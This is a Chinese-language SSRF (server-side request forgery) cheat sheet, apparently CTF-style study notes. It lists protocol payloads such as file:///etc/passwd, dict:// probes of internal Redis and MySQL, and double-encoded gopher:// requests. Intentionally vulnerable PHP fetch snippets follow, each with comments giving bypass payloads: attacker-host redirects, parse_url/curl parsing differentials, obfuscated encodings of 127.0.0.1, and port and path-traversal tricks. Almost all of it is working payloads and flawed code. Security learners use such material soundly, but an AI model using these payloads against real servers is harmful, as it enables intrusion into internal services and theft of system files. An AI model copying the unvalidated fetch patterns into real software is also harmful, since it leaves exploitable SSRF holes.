SSRF 服务端请求伪造
1.PHP伪协议
http
探测内网网站、获取真实IP
file
读取文件,file:///etc/passwd
dict
探测 banner信息
Redis,dict://127.0.0.1:6379/info
MySQL,dict://127.0.0.1:3306/
gopher
控制请求方式进行请求
gopher://127.0.0.1:6379/_POST%20/index.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%206%0d%0a%0d%0ax=SSRF%0d%0a
要二次URL编码
gopher://127.0.0.1:6379/_POST%2520%2findex.php%2520HTTP%2f1.1%250d%250aHost%3A%2520127.0.0.1%250d%250aContent-Type%3A%2520application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%25206%250d%250a%250d%250ax%3DSSRF%250d%250a
Gopherus
2.绕过
协议头限制
重定向
<?php
// ?1=http://hacker/index.php
// ?1=http://hacker/index.html
// ?1=http://hacker/index.js
$url = $_GET[1];
$array = parse_url($url); // 将URL解析到数组
var_dump($array);
if ($array['scheme'] != 'dict') {
$ch = curl_init($url); // 初始化会话
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // 自动重定向
echo curl_exec($ch); // 执行会话
curl_close($ch); // 关闭会话
}
index.php
<?php header("Location: dict://127.0.0.1:3306");?>
index.html / index.js
<script>window.location.replace('http://192.168.1.143:9999');</script>
目录穿越
所有文件包含函数会将不认识的协议头当作文件
<?php
// ?1=httpx://../../../../etc/passwd
$url = $_GET[1];
if (preg_match('/^http/', $url)) {
readfile($url);
}
域名限制
parse_url 和 curl 的差异
parse_url 获取后面的域名,curl 获取前面的域名:端口
<?php
// ?1=http://@127.0.0.1:80@user.com/admin.php,端口要写,PHP<7.1
// ?1=http://user.com@127.0.0.1:80@user.com/admin.php,端口要写,PHP<7.1
$url = $_GET[1];
$array = parse_url($url); // 将URL解析到数组
var_dump($array);
if ($array['host'] == 'user.com') {
$ch = curl_init($url); // 初始化会话
echo curl_exec($ch); // 执行会话
curl_close($ch); // 关闭会话
}
curl 特性
curl 获取后面的域名
<?php
// ?1=http://user.com@internal/admin.php
$url = $_GET[1];
preg_match_all('/[^\/]+/', $url, $array);
var_dump($array);
if ($array[1] != 'internal') {
$ch = curl_init($url); // 初始化会话
echo curl_exec($ch); // 执行会话
curl_close($ch); // 关闭会话
}
parse_url 的 path 特性
用 http:/ 时,域名到 path 里了
<?php
// ?1=http:/internal/admin.php
$url = $_GET[1];
$array = parse_url($url); // 将URL解析到数组
var_dump($array);
if ($array['scheme'] == 'http' && $array['host'] != 'internal') {
$ch = curl_init($url); // 初始化会话
echo curl_exec($ch); // 执行会话
curl_close($ch); // 关闭会话
}
重定向
IP限制
<?php
// 等效IP
// ?1=http://localhost/admin.php
// ?1=http://0x7f.0.0.1/admin.php,16进制
// ?1=http://0177.0.0.1/admin.php,8进制
// ?1=http://2130706433/admin.php,7f000001转10进制
// ?1=http://127.00.00.01/admin.php
// ?1=http://127.1/admin.php
// ?1=http://127。0。0。1/admin.php
// ?1=http://①②⑦.⓪.⓪.①/admin.php
// ?1=http://0/admin.php
// ?1=http://0.0.0.0/admin.php
// ?1=http://[::]:80/admin.php
// ?1=http://[0:0:0:0:ffff:127.0.0.1]/admin.php
// ?1=http://sudo.cc/admin.php
$url = $_GET[1];
$array = parse_url($url); // 将URL解析到数组
var_dump($array);
if ($array['host'] != '127.0.0.1') {
$ch = curl_init($url); // 初始化会话
echo curl_exec($ch); // 执行会话
curl_close($ch); // 关闭会话
}
同域名限制
重定向
端口限制
parse_url 和 文件包含函数 的差异
parse_url 获取后面的端口,所有文件包含函数都是获取前面的端口
<?php
// ?1=http://127.0.0.1:7777:80/admin.php
$url = $_GET[1];
$array = parse_url($url); // 将URL解析到数组
var_dump($array);
if ($array['port'] == '80') {
readfile($url);
}
重定向